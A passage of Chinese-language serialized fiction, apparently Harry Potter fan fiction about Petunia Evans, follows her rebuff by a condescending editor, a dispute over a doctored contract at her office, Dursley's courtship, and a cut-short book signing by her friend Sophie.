黑色皮革椅一刻不停地转动着,佩妮看见他隐藏在灰色西装裤下的膝盖从这头转到那头。黑色的皮鞋交叠,以一种只有他本人才能懂的节律抖动着,鞋头原本光亮的漆皮上布满了一道道深色的折痕。
佩妮提前清洗完咖啡壶,收拾好文件柜,请求艾丽卡今天能接替她关门关灯,与那些男人们挤在了同一趟下班的电梯里。
他们的视线落在佩妮身上,但她顾不得那么多,高跟鞋急促地叩击在路面上,追逐街道前方缓缓落下的太阳。
在太阳下班之前,佩妮终于赶到了那间杂志出版社的门口。
为格朗宁办公室采购白纸、牛奶砂糖等杂物的时候,佩妮曾数次经过它。从门外往里面望进去,一页页排版精美的白纸从打印机的出口像雪花一样飞出来。
现在出版社大门金属把手上映出佩妮的脸,佩妮拂去额角细密的汗珠,稍微整理了一下自己的衣领和衬裙,深吸了一口气,平复激烈跳动的心脏,推开了大门。
出版社的空气里是石墨混合机油的味道。那些打印机还在工作,座位已经空了一半,另外一半的座位上还坐着一些人,但那些人看起来都在忙碌自己的事情,没有人上来搭理她。
佩妮从自己的手提包里拿出了她的小说,深吸了一口气,走向离她最近的那个座位。
“属于布伦南小姐的故事已经结束了,佩妮,接下来该写属于你自己的故事了。”
佩妮打开自己那本的黑色笔记本——因为更换新环境还有工作的种种原因,那本黑色笔记本曾被暂时搁置了一会儿。可等合上《山雀》的最后一页,她胸中那平静的湖水再次激荡起来,有很多话语堵在她的嗓子里,但一转头,只有趴在床上的多利半梦半醒地看着她。
佩妮提笔落在了笔记本上,那本黑色的笔记本再次膨胀起来,这次却不是因为纸币,而是因为那些浸透了纸面的墨水。
不是魔法小女巫的故事,也不是布伦南小姐的故事。
而是一个完整的,独属于佩妮的故事。
“劳驾。”佩妮说。
办公桌后面坐着一个男人,左手举着一支钢笔,眉飞色舞地对他邻座的女人说着什么。佩妮的声音打断了那个男人的交谈,他转身看了过来:“您有什么事吗?”
“我想要找编辑。”
“编辑?你要找哪位编辑?”男人的身体微微前倾。
佩妮愣住了,塞拉菲娜只说要找编辑,可是要找哪位编辑?
佩妮一时语塞,看见那个男人审视的眼睛,佩妮心下有一些慌乱,但她强压下那些感觉,将那本黑色手稿轻轻放到了他的桌子上,尽量平静地开口:“是这样的,我写了一本小说,我想找编辑,看看我的小说能不能出版。”
“那有预约吗?”视线落在那本黑色的笔记本上,男人放下了左手的钢笔,前倾的身体落回到黑色皮革椅上,双手交叉合抱在胸前,好整以暇地看着佩妮。
预约?佩妮努力控制住自己不要露出茫然的神色,但是看见男人的表情,佩妮觉得自己一定失败了。
那个男人指着佩妮身后说:“写作可不是儿戏,女士。一般来说,如果您要向我们出版社投稿,需要在那儿先领一张预约表格,预约流程也张贴在那儿,诺,看见那边的黑桶了吗?”
佩妮回头,一个长方形的黑桶摆在大门的旁边,刚推门进来的时候,佩妮以为那是一个垃圾桶,因为无论从外形还是材质上来说,它都和街边的垃圾桶一模一样。
“拿一张表单,填好你的信息,最重要的是不要弄错你的通讯地址。再从黑桶的旁边拿出一个塑料文件袋——我们公司的员工相当贴心,这些东西都已经为你们准备好了。把你的表单和手稿放进去,然后,砰——”那个男人做了一个投掷的手势,“把文件袋投进去就好了。”
佩妮的直觉告诉她,她不想这样做。
“那请问预约的话,时间大致到了什么时候?”佩妮对那男人露出一个微笑。
“差不多两个月后吧。”男人撇了撇他的嘴,“这个世界上有相当多自称作家的人,每天产出数不尽的东西。审稿就像开盲盒,你永远不知道你审的下一篇稿件究竟出自人类之手,还是他们家中的猫狗跳上了书桌,拨弄没有放回墨水瓶里的钢笔在纸上留下的笔画痕迹。噢,我说的肯定不包括女士你,起码你的穿着打扮看起来就像一个正常人。”
男人认为自己开了个十分有趣的玩笑,他大笑出来。但佩妮笑不出来,她感觉有什么东西堵在了她的胸口,翻滚着,撕咬着她。但佩妮强压下了它们,尽量礼貌又真诚地对那个男人说:“但是这篇小说我写了很久,可不可以……”
回答她的是男人抿起的嘴唇,高深莫测的神色,还有像探照机一样从头到脚审视她的视线,佩妮紧紧咬住自己的牙齿,强迫自己不要在这样的视线中后退。
被打量的时间好像很长,但又好像很短。
“好吧,”那个男人的视线落在佩妮的鞋子上,在佩妮感到自己的牙根已经隐隐发酸之际,那男人说,“你很幸运,小姐。我碰巧是一位慧眼识珠的编辑,今天晚上也没有其他人约我去喝一杯。”
他从工位底下掏出了一个蓝色塑料凳,放在桌子旁边,然后倾身从桌上拿起了佩妮的那本小说。
佩妮紧张又期待地坐上这张蓝凳。凳子没有靠背,质地很硬,她得挺直腰,简直像回到了阿加莎女士的办公桌后面。
“你写的是一个什么样的故事?”男编辑翻开了佩妮的小说,但他的目光没有落在佩妮的小说上,而是落到了她的脸上。
“一个女人的故事。”佩妮低头看着交叠在自己膝盖上的双手,她尽量使自己的声音听起来轻松,但交叠的双手指节已经隐隐泛出了白色。
佩妮眼角的余光看见那名男编辑因为她的话语夸张地扯了扯自己的嘴角,但他再没有说什么,只是开始翻阅起她的那本黑色笔
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记本。他没有选择按顺序从头阅读那本小说,而是随心所欲地挑选了其中几页。
空气中是打印机轰鸣的声音,她感到很热,即使头顶电风扇在一刻不停地旋转,但扇出的凉风却丝毫没有办法缓解佩妮心头的燥热。
佩妮觉得,男编辑的视线里,被打开的不仅是那本笔记本,还有她自己。
她既感到被暴露的羞耻,又隐隐渴望得到认可。
翻动了几页,那男人合上了佩妮的小说,在佩妮期待的目光里,他慢条斯理地说:“所以,这就是你的故事?”
但没等佩妮回答,那男编辑自顾自地说:“你都读过些什么书?”
佩妮一愣。
“傲慢与偏见、简·爱、小妇人……”还有那些浪漫小说,一开始,佩妮的声音还带着自己都没有察觉的雀跃,“冬日烈火、高端时尚、山雀……”
“哈,山雀。”敏锐地捕捉到了一个词,男人的脸上划过一抹讥讽的笑,“那些浪漫爱情小说,哪些是你喜欢的作家?”
佩妮紧张地吞咽了一下,她说:“可能是简·奥斯汀,林德赛我也很喜欢,还有伍德威斯……”
她听见了那个男人发出一声更明显的轻笑,他往后一仰,靠坐在他的椅子上,黑色皮革椅转来转去,黑色的皮鞋一刻不停地抖动着:“莎士比亚读过吗?”
佩妮茫然地注视着他。
“列夫·托尔斯泰,《战争与和平》?”
“陀思妥耶夫斯基,《罪与罚》?”
他的眼睛里倒映着佩妮不知所措的表情。
“算了,来点简单的,英格兰本土作家和他们的书你读过几本?雪莱《西风颂》?威廉·戈尔丁《蝇王》?”
佩妮觉得自己真的应该把西装外套脱下来,衬衣的后背已经完全被汗水浸湿了,冰冷冷地贴在佩妮的身上,使她感觉自己的嗓子发起堵来。
“不过这也不是你的错,”男编辑的视线上下打量着佩妮,看似不经意地说:“索菲·特拉瑟姆出名后,每天都有像你这样的女孩子,把她们的作品投入到那个黑桶里。但要我说,索菲·特拉瑟姆,听说她连CSE证书都没有,女孩子玩过家家游戏,随便组点词汇,就组合成了一本自认为书的东西。”
“不是这样的,山雀它……”佩妮试图打断那名男编辑,但有什么东西顺着她的话语咬了上来。
“你年龄看起来不大,你应该上了中学吧,你拿到了CSE证书吗?”
“你说话有些口音,应该不是伦敦人,哪个小镇来的?”
“我猜你上的是现代中学。像你们这种小镇上的女孩大部分都读现代中学,文法学校对你们太难了。如何欣赏和创作文字可不是现代中学的任务,那是A level的课程。”
“噢,你应该知道A level是什么吗?我可以给你解释一下。”
佩妮冲出了出版社。
手上拿着她的那本黑色笔记本还有一张被强行塞进来得投稿预约表单。
一个垃圾桶张开它黑色的嘴巴,站在路边静静地等待。
佩妮要把自己的那本黑色笔记本扔进去。
她伸出手。
但她顿住了。
凭什么?
一股气涌到她的喉咙里,呛得她鼻尖发酸。
她把那张投稿预约表单揉成团,扔进了垃圾桶里。
73.chapter72
“你看起来脸色相当糟糕,最近没有睡好吗?”艾丽卡询问佩妮。
佩妮从里面的办公室走出来,手中拿着一沓厚厚的文件——那是威尔交给她,需要赶在圣诞假期前完成的任务。
佩妮坐下来,听见艾丽卡的话,她下意识地接到:“噢,老鼠,你知道的艾丽卡,藏在公寓下水道的那些老鼠,总在夜晚发出扰人清梦的声音。”
但刚说完这句话,佩妮就后悔了,她想说的不是老鼠,老鼠早已经被解决了,她想说的是寒冷。佩妮觉得自己可能真的有些累了。
从她从出版社冲出来的第二天起,一场寒潮席卷了伦敦,气温骤降,格朗宁办公室墙边的铸铁暖气片已经开始运作了起来。
暖气片显然有一些年份了,虽然它一刻不停地持续运作着,但外面的温度还是比里面要低上好几度,空气里反而漂浮着一种铁锈混着煤尘的味道,使它像个恪尽职守,却怎么也无法跟上电气时代较不,被时代远远抛在后面的老人。
不过有总比没有好,想到自己公寓的温度,佩妮情不自禁打了一个寒战,裹上了自己的外套。
但艾丽卡反而颇为认同地点了点头:“对于那些公寓来说,那些陈旧的,错综复杂的下水道就是老鼠的温床。”佩妮为艾丽卡没有意识到她的言不由衷而不自觉松了一口气,但马上,艾丽卡就像意识到了什么,她眼珠一转,盯着佩妮:“你一个人住?”
“一间一室居的公寓。”佩妮点了点头,看着艾丽卡的神色,她补充道:“很合算,我的工资可以负担得起房租,拥有一间属于自己的房间,那样会很方便。”
艾丽卡身体往后半靠在她的椅子上对佩妮说:“谁说负担不起呢,但是除却了房租,食物,你什么也不会剩下,换来黑洞的楼道,隔音效果一点也不好,没有任何秘密的单间,做什么都能被听到,噢,它甚至没办法取暖,你怎么取暖的?”
佩妮不想承认艾丽卡说的是对的。往年在科克沃斯,妈妈会点燃家里的壁炉,但现在在她的屋子里,她只能使用煤气加热器取暖,因此屋子里总有一股煤气味。
但佩妮不想在这个问题上过多的纠结,她把问题反抛给了艾丽卡:“你也一个人住吗?”
“以前是,但现在不是了。”艾丽卡向佩妮举起了她的左手,一枚素朴的银戒指镶嵌在了她的无名指上。
“艾丽卡,你……”佩妮深深吸了一口气,但艾丽卡把食指竖在了嘴唇边,打断了佩妮想要追问的话。
“德思礼没有对你有任何的表示吗?”
佩妮咬住了自己的嘴唇,没有直接回答艾丽卡的话:“这一段时间我都没有看见德思礼。”
她拒绝德思礼邀约的第二天,她就没有在格朗宁再看见他。直到今天早上,德思礼推开了格朗宁的大门,他换了一套崭新的冬季深色西装,大步经过佩妮,眼神一点也没落在她身上。
他可能识破了那天她的谎言,佩妮有些忐忑地想。
“啊,临近圣诞节了,他应该出差了,按照往年的传统,他有可能去了慕尼黑,也有可能去了比利时。”
“不管他去了哪儿,这次回来,他又为格朗宁带来一笔大订单。”艾丽卡看着佩妮,突然放缓她的语气,语气真诚地对佩妮低声说,“佩妮,做个聪明女孩,你得对自己好一点。”
她说的是实话,她是你的朋友,否则她没有必要对你说这些,佩妮对自己说。
“伊万斯!”里面的门被推开,一名职员冲出来,对佩妮说,“威尔先生找你。”
佩妮忐忑不安地站起来,心却沉了下去,艾丽卡抓住她的手:“别害怕,威尔先生脾气很好,他从来不发火。”
她站在威尔的办公桌前,落地窗外阴沉的天色好像要下雨,室内却灯火通明,临近圣诞节,办公室的角落里装饰着佩妮和艾丽卡一同布置好的圣诞树,落地窗边交谈的人声在佩妮的耳中交织成一段朦胧的背景乐章。
“伊万斯小姐,”威尔看着佩妮,用一种可以说是极其温和的声音对她说,“一直以来,你严谨认真的工作能力大家都有目共睹,但是,我很抱歉地告诉你,你犯了一个小错误。”
佩妮对威尔勉强露出了一个微笑,看见威尔从办公桌上推过来几份合同,里面的内容用红色的笔墨圈出了几处地方。
“一个小错误,伊万斯,别紧张。在你打印出来的合同上,标错了一个小数点。但是幸亏乔纳森发现了,在将合同递给顾客签名之前,从而避免了公司的一笔损失。”
“你看起来有一些疲倦,伊万斯。我很理解,我们都在加倍地干活来迎接即将到来的圣诞节,咖啡豆的消耗是之前的两倍,但伊万斯,你得打起精神来。”
佩妮接过那份合同,愧疚淹没了她。
她是有一些疲惫,从出版社冲出来的那天。随后是一场寒潮,夜晚太冷了,加热器工作一会儿就罢工,被子总是睡不暖,四肢仿佛坠在冰窟里一般。多利蜷缩在她的脚边,隔着被褥的温度,是冰冷房间里最珍贵的热源。
好不容易落入冰冷的梦境,梦中总是反复回荡着旋转的电风扇,嗡鸣的机器,从这头转到那头的黑色凳子,一刻不停抖动的皮鞋。
稍微有一些浑浑噩噩。
但只是稍微而已。
白天注意力会有一些不集中,单词句式有一点变形,因此佩妮在交付文件时,总要先检查两三遍再交付给威尔先生。
但她还是犯了错。
佩妮接过那份合同,看着那上面眼熟的内容,她突然一下想起来了,那天乔纳森端着她给他准备好的咖啡,站在她的打印机旁,从那摞文件里翻出了他的原稿。
“麻烦你,伊万斯,这份合同比较着急。可以请你优先帮我处理吗?”他带着真诚的语气请求她。
这份合同上的每一行,都出自她手,她记得当初的每一个单词。
她愧疚的内心在这一刻冷静下来,她直视威尔的眼睛说:“不,我没有弄错,威尔先生,我记得乔纳森先生的原稿,他交给我的时候,原稿就是这么写的。”
她的声音有一点大,办公室一下安静下来,她看见威尔瞪大了他的眼睛,撇在上唇的胡须几不可察地颤动了一下。
寂静中,佩妮听见自己的心跳,还有她的声音:“我要看乔纳森的原稿。”
威尔深深叹了一口气:“乔纳森,把那份合同的手稿拿过来。”
离他不远处的一名男士从办公桌上站了起来,冷哼一声,在威尔和佩妮之间重重拍下了一张纸。
手稿映入眼帘,佩妮不可置信地瞪大了她的眼睛,她记得这份手稿,手稿与她记忆中的样子一模一样,但那上面数字的小数点,却和佩妮的记忆有了极大的出入。
不,不应该是这样的。
佩妮匆忙翻到手稿的最后一页,上面仍然印着那天不小心溅上去的一滴咖啡渍——这又确实是那天的那份手稿。
佩妮开始无可抑制地颤抖起来。
寂静的办公室又开始响起嘈杂的背景讨论声,佩妮进来的时候没有脱下外套,室内墙边的暖气片持续不断加热空气,细密的汗水顺着她的额头滑落。
有人在说慌。
谁在欺骗谁?
乔纳森对她露出了一个笑,混合着嘲讽、轻蔑的冰冷:“我希望伊万斯女士在理清自己混乱的记忆之前,不要随指责别人。”
——但看样子是佩妮自己的记忆欺骗了她。
你太疲惫了,所以你的记忆出现了混乱。
不。
“这不是那份手稿。”佩妮鼓起勇气抬头对乔纳森叫了出来,一股无名的愤怒从她心头涌起。
在佩妮愤怒的视线中,乔纳森投降似举起了自己的双手,露出一副“我就知道这样”的表情看着威尔:“看吧,威尔。”
“伊万斯,我说了,这只是一个小错误而已。”威尔非常无奈地看着佩妮,“我们发现得很早,没有给公司造成任何损失,你甚至无需承担任何责任,你只需要……”
“不,威尔先生,我没有错,”佩妮打断威尔,看着他。她胸口满涨,眼睛酸涩,但她仍试图负隅顽抗,向她混乱的记忆发起进攻,“但我保证,当时的手稿不是这样写的。”
佩妮茫然地站在这间明亮的,温暖的办公室。
他们都在看着她,不要发抖,佩妮对自己说。
“够了!”她听见落地窗那边传来一声谁的叫声。她迟钝地往那边看过去,德思礼里从站成雕像的人群中走出来,他将棕色的头发修剪短了一些,刮去了胡茬,神采奕奕地带着愤怒的表情走到佩妮身边,对威尔,还有看着她的一群人说:
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“我相信伊万斯小姐,她从来都没有弄错过我的文件。”
威尔捏了捏自己的鼻梁,也露出一个投降似的表情:“你需要休息。伊万斯小姐,我可以给你批假,从现在开始,一直到圣诞节后。”
“请不要用那个表情看着我,我们不是要开除你。格朗宁公司很注意保护女性员工的权益,这一点你放心。”
“是我的错吗?”窗外在下雨,雨水连着灰黑色的天空,变成了一块青灰色的帘幕,汽车的尾灯还有街灯在其中闪耀,佩妮坐在酒吧靠窗的座位旁,看着这雨幕对德思礼说。
雨水打在玻璃上,模糊一切,酒吧里既温暖又干燥,成为一片雨海中安全的孤岛。酒吧的光线并不明亮,笼罩在一片昏暗的黄色灯光中,因而德思礼的面目也是模糊的,她听见他在笑:“噢,佩妮,这没有什么大不了的,只是工作而已。工作上大家都会犯错,不要太往心里去。而且有的时候谁对谁错并不是那么重要,他们只是需要有一个人站在那里。”
“我不敢相信你在那个时候会冲出来。”
“但是你确实从来没有弄错过我的文件。”
佩妮笑了起来,德思礼的身形笼罩在一片影影幢幢中,他的左手就在她右手的旁边,只隔着一杯酒杯的距离,偶尔露出的银色手表被昏黄的灯光镀上一层温暖的灯光。
她感觉自己的脸有一些烧,调酒师向她反复保证,给她的调制的饮品里面绝对不含有酒精。
佩妮觉得自己此刻是清醒的,但又有一些轻微的眩晕。
雨幕外一闪而过一只黑猫。
多利。
佩妮昏沉的神智一下回笼,视线里所有的物品都清洗起来,包括德思礼的脸。
“抱歉,时间有一些晚了。”佩妮端起她前方的酒杯一饮而尽。
“好的,那我送你回去。”佩妮一顿,德思礼已经自然而然地从她的座位旁拎起了她的衣服和伞。
拒绝的话卡在了佩妮的喉咙里。
“这条路一直以来都没有灯吗?”再次走进那条昏暗的小路,德思礼对佩妮说。
“但是有月光。”雨已经停了,月亮悄悄从云层后面出来。
在德思礼的陪伴下,往常那条昏暗的悠长的小路几步就走完了,佩妮站在公寓的楼下,对德思礼礼貌地笑了一下,示意他就此止步。
德思礼识趣地停下了自己的脚步。
“等一下,佩妮,”转身上楼的那一刻,德思礼叫住了佩妮,声音惊动了楼道里的灯光,黄光从佩妮身后投射过来,照亮德思礼一张真挚的脸。
他低头在他的公文包里翻找着什么,然后掏出了一个系着红色丝带,材质看起来非常昂贵的黑色礼品盒,递给佩妮。
“我专程从慕尼黑为你带回来的,代表我诚挚的谢意。“
佩妮直直盯着德思礼手上的礼盒,手在身侧动了动,却还是没有抬起来。
德思礼只好无奈地笑了起来:“拜托,佩妮,只是一个礼物而已,没有什么别的意思,你不要多想,你总不至于一直拒绝我吧。”
他的眼神真挚得可怕,使佩妮的心被一只名为愧疚的大手狠狠揪了起来。
佩妮拉上窗帘,在书桌前拆开了德思礼送她的礼盒,拿出了里面的东西。
多利喵呜一声跳上桌,低头嗅着那个空了的黑色礼盒,伸出它的爪子试探性地拨弄了一下。
一瓶造型古朴又精致的香水。
她举起手,在空气中试探性地按动了喷雾器。
灯光下,一股细密的水雾争先恐后地从瓶口里溅出来,落到她的头发上,衣服上,旋即升腾起一股浓烈的玫瑰花香。
这香水肯定价值不菲,在味道上留住了玫瑰最璀璨的时刻。
香气与眼前的白色灯光交织成一张网,笼罩她,捕获她,眩晕她。
砰——突如其来的声音吓得佩妮打了一个激灵,眨了眨眼,意识回笼。低下头,原来是多利把那个黑色的礼盒拨弄到了地上。
它总是这样,桌上有任何多余的东西,它都要拨弄到地上去。佩妮捡起那个礼盒,把昂贵的香水放进去,珍重地收进了书桌的抽屉里。
多利毫无歉意地桌上跳下去,离开犯罪现场,跃上佩妮的枕头,找了个份外舒服的姿势,蜷起它的半截尾巴,打起了盹。
74.chapter73
佩妮怀里抱着那本《山雀》,匆匆忙忙跑到联合书店门口。
天上飘着一点小雨,温度有些冷,佩妮的口鼻皆掩盖在围巾里,等跑到联合书店的门口时,她感觉热气充盈了她的四肢,背后微微冒出了一点细汗。
联合书店门口的海报上写着“联合书店圣诞节前特别活动——索菲·特拉瑟姆签售会”
佩妮推开门,眼角的余光瞥见海报上的活动时间截至上午10点30分。
但她出门的时候已经10点10分了。
这不能怪她。
加温器难得正常工作,一个连被窝的角落也是温暖的晚上,没有稀奇古怪的梦,多利甚至在她的脚边睡得翻起了肚皮。
只是第二天睁眼的时候就已经10点了。
联合书店从来没有过这么多人。
佩妮从人群中挤过去,看见今天聚集在书店里的,以形形色色的女人为主。有穿着华丽,带着钻石项链的女人,还有中学生打扮的少女。
拐过几个书架,活动现场出现在佩妮的面前。
那天投放屏幕的投影仪已经撤去,取而代之的是一个临时搭建的展示台,整体的装扮在从顶上打下来的光线中呈现一种梦幻般的粉色,地板上随意地散落着礼宾炮开启后的彩带和金箔纸。
索菲就坐在聚光灯下的签字台后,手中拿着一支钢笔,签字台的右边立着绘有她个人半身像的海报,还有《山雀》放大的封面,前方等待她签名的读者已经排成了一条相当长的队伍,时间肯定已经超过10点半了,但现场的工作人员却还没有拉起截止排队的条带。
佩妮有些惴惴不安地询问现场穿着工作制服的人员。
被她拦下的工作人员爽快地回答她:“不要担心,小姐,今天来现场等待索菲·特拉瑟姆小姐签名的读者比我们预料得要多很多。索菲·特拉瑟姆小姐宣布今天的活动截止时间再推迟1小时。”
“噢,您买了她的书是吗?”工作人员看见了佩妮怀里抱着的书,“索菲·特拉瑟姆小姐说只要今天在联合书店购买了《山雀》的读者,都可以找她签名。”
“您放心排队。”工作人员回答佩妮。不远处有一位女士对着工作人员举起了手,她对佩妮轻声说了句抱歉,便抬步往那边走去。
佩妮站到了队伍的最后面。
灯光都打在了索菲在的区域,队伍的尽头笼罩在一片不甚明亮的昏暗中。
佩妮看着索菲——从她坐上出租车分别的那天起,这是她第一次在线下真实地看见索菲。
——不是在屏幕上,也不是在书封的小照片里。
今天索菲穿了一套精致的蓝色套裙,棕红色的头发挽在脑后,做了一个很漂亮的发型,用珍珠发卡别着,一缕顽皮的碎发从中逃脱,散落在她的脸颊旁。
她看起来成熟美丽得使她感到相当陌生。
诺拉的阅读之夜,打开的窗户吹起她散落的头发,她把头发挽至耳后,笑着对佩妮说她只比佩妮大两岁,但是时间好像在她身上以一种更快的方式流逝,使她成长得好像比想象中更快一些,把佩妮远远地抛在了后面。
一名读者带着她的签名心满意足地离开,另外一名读者红着脸走上去,将手里的书递给她。
索菲抬起头,对她面前的读者露出一个笑容,视线自然落在身后的人群中。
佩妮不自觉往后退了一步。
“嘿,小心一点。”佩妮差点踩到了身后人的脚。
排在她身后的是两名学生打扮的孩子,在佩妮诚挚地对她们道歉后,便收回了抱怨的神色,继续她们之间的交谈。
“索菲比在电视上看见的还要美丽。”
“我长大之后也要做一个像她这样的女作家。”
“她的心灵跟她的外貌一样好,今天我起晚了,妈妈把我的闹钟关了,但是幸亏活动时间延长了。”
队伍缓慢而有序地向前移动。
现在索菲面前站着的是一位看起来二十七八岁戴头巾的优雅女人,她手边牵着一名七八岁的女童,女童戴着一副红色眼镜。
索菲低下头在书本摊开的扉页上签下自己的名字。
那名女童抬头看着索菲。
“你结婚了。”她说,“你手上的戒指跟我妈妈一样的一样漂亮。”
索菲对那个孩子露出一个温柔的笑,“谢谢你的夸奖。”
“那你生小孩了吗?”那小孩像受到了鼓励,在她妈妈捂住她的嘴前,大声说出了她想说的话,“像我这样的小孩,妈妈说结了婚大家就都都要生小孩的。”
排队的人群以女士为主,队伍中传来一阵善意的喧笑。那名年轻的母亲十分不好意思地从地上抱起了她的孩子,伸手捂住了自己女儿的嘴,连声对索菲说着抱歉。
“没有关系,”索菲回以她温柔的笑容,将签好字的书递还给那个母亲——那个母亲双手环抱着她的孩子,只好将索菲签了字的书夹在了自己的肘下,“山雀就是我的孩子,未来我也没有打算,因为我的时间都在构思下一本小说。”
人群因索菲的这句话而激动起来,佩妮也因她的话而感到心跳加速。
“是山雀的续集吗?”那名年轻的母亲有些激动地说。
“嘘,那是个秘密。”索菲把食指竖在了自己的嘴边。
佩妮离索菲越来越近,她感觉自己的心越跳越快,她在思考,一会儿见到了索菲,她要怎么开口跟她打招呼才显得自然。
嗨,索菲,好久不见?——不,那样会显得她在怪她。
嗨,索菲,你最近过得怎么样?——她显然过得很好。
她并不是很想得到索菲的签名,她只是想借机跟索菲说说话。
她还有和科克沃斯保持联系吗?
佩妮想要告诉她自己目前的地址,但是她会给佩妮写信吗?
队伍缓慢地向前挪动,就快要轮到佩妮了。她握紧了自己手上的那本《山雀》,却因为短时间内怎么都无法想到合适的措辞而感到焦心不已。
但这时她看见一个穿着黑色西装的男人从索菲身后走出来,头发向后梳起,用发胶固定,露出他的额头,行走间露出的手表使佩妮一下就认出来了他的身份。
“索菲,”男人把左手搭在了索菲的左肩上,半把她笼在怀里,看着仍然望不见头的队伍,他眉头紧锁,“我们得走了。”
索菲此时正在和一名女孩交谈着,两人的脸上都带着快乐的笑意。
男人把手按在索菲肩上时,索菲的笑意凝固在了她的脸上。
“等等,后面还有很多等待我的读者,我答应了她们。”
“时间来不及了,索菲,这场签售会只有一个半小时,你已经无偿奖励了他们很久了。”
“但是……”
“我们还有一场聚会,索菲。”那个男人抓住了索菲的胳臂,眼睛紧紧盯着她,“不要任性。”
他将索菲十分轻易地从凳子上拉了起来,半圈在自己的怀里,回头对等候的人群露出了一个礼貌的微笑,然后带着索菲走出了聚光灯下。
事情发生得太快了,人群一时鸦雀无声。
从阴影里钻出来,重新走到聚光灯下的是联合书店的经理,他拦在签字台和队伍之间,对着大家举起双手,露出一副亲切的笑容。
“我很抱歉,各位读者朋友们,活动结束了。”他说。
人群发出不满意的哗然。
可是那位经理脸上仍旧是一副不为所动的亲切表情: “索菲·特拉瑟姆小姐慷慨地无偿地多赠与了大家同她相处的半个小时,但活动本应在10点30分就该结束了。”
他做了一个手势,现场的工作人员开始拆除展台,引导书店排队的客人散开,笑容没有从经理的嘴角滑下来半分:“对于购买了山雀,没有获得索菲·特拉瑟姆签名的客人,我们联合书店予以购书优惠券进行补偿,优惠券的内容涵盖联合书店所有的东西,包括那边那台新进咖啡机的产品。”
一张红色的购书优惠券被塞进佩妮的手里,前后的人群都已散去,只剩她一个人呆站在原地。
室外还在下雨,天气十分寒冷,佩妮并不想此刻立刻回家。不远处的咖啡机发出一声轰鸣,空气里开始散开巧克力、坚果的芬芳,但佩妮早已对这些香气产生了免疫。
佩妮深吸了一口气,将那张有些膈手的红色优惠券塞进《山雀》里,打算选一条幸
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运书架,钻进去。
此时有人从后面抓住了佩妮的胳臂。
“佩妮!”他的声音里带着惊喜。
佩妮回头,是德思礼——视线顺着他的另一只手往下滑,他手上拿着好几本《山雀》。
“没想到会在这里碰见你。”还没有等佩妮问出来,德思礼先一步抢走了佩妮要说的话。
“我……”
德思礼的视线落在了佩妮手上的那本《山雀》上,他露出了一副仿佛明白了什么的表情,自顾自地说:“原来你也看这种书,怎么,你也是来要那个女人签名的吗?”
“你怎么也在这里?”佩妮好不容易找到了自己的舌头,她对德思礼说。
“你说这个?”德思礼顺着她的视线低头看了一眼自己手上拿着的书本,“玛姬让我来给她还有她的朋友门弄几本她的签名书。”
“玛姬?”佩妮眨了眨她的眼睛。
“玛乔丽,我姐姐,前段时间她养的狗带她从桥上摔了下去,腿断了。她不来,她的朋友们也不来,只好让我替她们来。”
“你们都喜欢看这种书吗?它很好看吗?你是不是没有拿到那个女人的签名?”德思礼突然从他手上抽出一本书,推进了佩妮的怀里,“这本书送给你了。”
他身材高大,这一下把佩妮推得后退了一步。
“不,这不合适,这是你排队拿到的东西。”佩妮手忙脚乱地接过那本书。
“排队?”德思礼仿佛听见了什么笑话般,“我没有排队,这是他们为我预留的签售本。”他好像闻到了什么,跨步上前,“我闻到了你身上的香味,那是我送你的香水,这个香味很适合你,你喜欢吗?”
佩妮怀里抱着那本书,山雀坚硬的书角抵在她的胳臂上。
室内的空气有些潮湿,打开衣柜的时候从里面透露出一股陈旧的味道,佩妮向空气中喷洒了一点少量的香水,残留的味道却使德思礼发现了端倪,但她刚想说什么,德思礼又打断了她的话。
“听着,佩妮。”德思礼四下张望了一下,然后清了清他的嗓子,“这个圣诞节,你有空吗?我有一张豪华邮轮的票。”
“从伦敦出发,途径勒阿弗尔,第二天启程去拉斯帕尔马斯,在卡萨布兰卡停一晚,最后由马德拉群岛回到伦敦。”
“我们可以参加邮轮上的圣诞晚宴,由米其林三星主厨操刀,菜单里面有火鸡松露卷、惠灵顿牛排配黑松露酱,甜点是我最喜欢的燃烧圣诞布丁。”
“你喜欢游泳吗?船上还有恒温控温玻璃泳池。”
“这种机会可不是人人都有的,佩妮,或许你会想看看真正的北欧风光。”
那些单词拼凑出一片广阔的海洋,落日,甲板以及她活到现在为止只在电视上看到的豪华游龙。
德思礼抛出来的信息又快又多,佩妮茫然地站在原地,看着他的嘴巴一张一合,她反应了很久,才消化德思礼对她说的话。
“佩妮,如果你愿意……”他看着她。
画面在她前面崩解,重新组合,变成艾丽卡的脸。
别做一只呆鹅,艾丽卡对她说。
佩妮挣扎着从德思礼的手臂中抽出自己的手,犹豫了一会儿,将那本塞给她的《山雀》重新放回了他的怀里。
她不敢去看他蓝色的眼睛,只好偏过头对他说:“对不起,德思礼……这个圣诞节假期,我有其他的事情。我们圣诞节后再见,祝你拥有一个完美的圣诞节。”
她不想也不敢去看去听去猜测德思礼的反应。
你真是一只呆鹅。
呆鹅慌忙从温暖的联合书店跑进外面的小雨中,再沿途一路返回自己冰冷的廉价公寓。
说不心动是假的。
但呆鹅的床上放着一个收拾好的手提箱,手提箱旁边放着一张车票,还有一封信。
车票的目的地是伊索尔德大学所在的城市。
那是一封伊索尔德寄过来的信。
信尾的姓氏那块儿落款的却不再是卡尔维特,而是怀特霍恩——她妈妈的姓。
呆鹅就呆鹅吧,佩妮举着那封信,她想。
她总得要先去问问伊索尔德,这到底是怎么一回事儿。
75.chapter74
佩妮把公寓的门关上,金属门把手落在她的掌心里,像冰块一样,她忍不住打了一个寒战。
“你得准备一个加热器,这样太冷了。”她对伊索尔德说。
这是一所同她在伦敦差不多的一室居公寓,但面积更小,窗户不够大,包括刚住进去的人,什么都是新的。
屋子里太冷了,晚上一同睡在伊索尔德的床上,她们得背靠背紧贴在一起取暖。
伊索尔德侧过头,水蓝色的眼睛看着佩妮,认真地聆听着佩妮向她传授的公寓居住事项。
只走过几个路口,快餐店就出现在她们的视野里。
她们推开快餐店的门,发出叮当一声响。
吊顶灯发出橘黄色的光芒,温暖的空气夹杂着一股热狗的香气还有芝士发酵的味道扑面而来,使得因着寒冷而一路提着一口气佩妮放松了下来。
靠近门廊的桌子上坐着的客人正举着一份报纸,皮手套被他摘下来,放在了餐桌的边缘。
拿起的报纸背面是一篇占据了几乎四分之三版面的报道。
报道的最中央配着一张醒目的照片,照片右侧站着持着手杖身穿西装的卡尔维特,左边则是穿着一条华贵礼裙,盘起长发的伊索尔德,一条裂纹从卡尔维特和伊索尔德之间贯穿了整张照片,用抢眼的方式揭示了他们二人之间的关系。
